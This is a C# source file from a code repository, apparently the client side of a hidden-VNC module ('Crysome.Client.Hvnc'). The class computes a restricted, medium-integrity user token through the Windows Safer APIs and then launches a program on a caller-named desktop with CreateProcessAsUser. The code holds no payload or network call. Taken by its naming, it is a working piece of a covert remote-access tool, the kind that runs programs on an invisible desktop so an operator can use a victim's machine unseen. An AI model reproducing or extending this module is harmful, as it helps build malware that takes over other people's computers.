Files
2026-08-27 11:22:54 -06:00

204 lines
5.3 KiB
C#

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Crysome.Client.Hvnc;
internal static class HvncProcessHelper
{
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
private struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public uint Attributes;
}
private struct TOKEN_MANDATORY_LABEL
{
public SID_AND_ATTRIBUTES Label;
}
private enum TOKEN_INFORMATION_CLASS
{
TokenIntegrityLevel = 25
}
public enum SaferLevel : uint
{
NormalUser = 0x20000u
}
public enum SaferScope : uint
{
User = 2u
}
[Flags]
public enum SaferOpenFlags : uint
{
Open = 1u
}
private const uint SE_GROUP_INTEGRITY = 32u;
public static bool RunAsRestrictedUser(string fileName, string desktopName)
{
if (string.IsNullOrWhiteSpace(fileName))
{
return false;
}
if (!GetRestrictedSessionUserToken(out var token))
{
return false;
}
try
{
STARTUPINFO lpStartupInfo = new STARTUPINFO
{
cb = Marshal.SizeOf(typeof(STARTUPINFO)),
lpDesktop = desktopName
};
PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(fileName);
return CreateProcessAsUser(token, null, stringBuilder, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 0u, IntPtr.Zero, Path.GetDirectoryName(fileName), ref lpStartupInfo, out lpProcessInformation);
}
finally
{
CloseHandle(token);
}
}
private static bool GetRestrictedSessionUserToken(out IntPtr token)
{
token = IntPtr.Zero;
if (!SaferCreateLevel(SaferScope.User, SaferLevel.NormalUser, SaferOpenFlags.Open, out var pLevelHandle, IntPtr.Zero))
{
return false;
}
IntPtr OutAccessToken = IntPtr.Zero;
TOKEN_MANDATORY_LABEL structure = new TOKEN_MANDATORY_LABEL
{
Label =
{
Sid = IntPtr.Zero
}
};
IntPtr intPtr = IntPtr.Zero;
try
{
if (!SaferComputeTokenFromLevel(pLevelHandle, IntPtr.Zero, out OutAccessToken, 0, IntPtr.Zero))
{
return false;
}
structure.Label.Attributes = 32u;
structure.Label.Sid = IntPtr.Zero;
if (!ConvertStringSidToSid("S-1-16-8192", out structure.Label.Sid))
{
return false;
}
intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL)));
Marshal.StructureToPtr(structure, intPtr, fDeleteOld: false);
if (!SetTokenInformation(OutAccessToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, intPtr, (uint)Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL))))
{
return false;
}
token = OutAccessToken;
OutAccessToken = IntPtr.Zero;
}
finally
{
SaferCloseLevel(pLevelHandle);
if (structure.Label.Sid != IntPtr.Zero)
{
LocalFree(structure.Label.Sid);
}
if (intPtr != IntPtr.Zero)
{
Marshal.FreeHGlobal(intPtr);
}
if (OutAccessToken != IntPtr.Zero)
{
CloseHandle(OutAccessToken);
}
}
return true;
}
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
private static extern bool SaferCreateLevel(SaferScope scope, SaferLevel level, SaferOpenFlags openFlags, out IntPtr pLevelHandle, IntPtr lpReserved);
[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
private static extern bool SaferComputeTokenFromLevel(IntPtr LevelHandle, IntPtr InAccessToken, out IntPtr OutAccessToken, int dwFlags, IntPtr lpReserved);
[DllImport("advapi32", SetLastError = true)]
private static extern bool SaferCloseLevel(IntPtr hLevelHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr LocalFree(IntPtr hMem);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, StringBuilder lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
}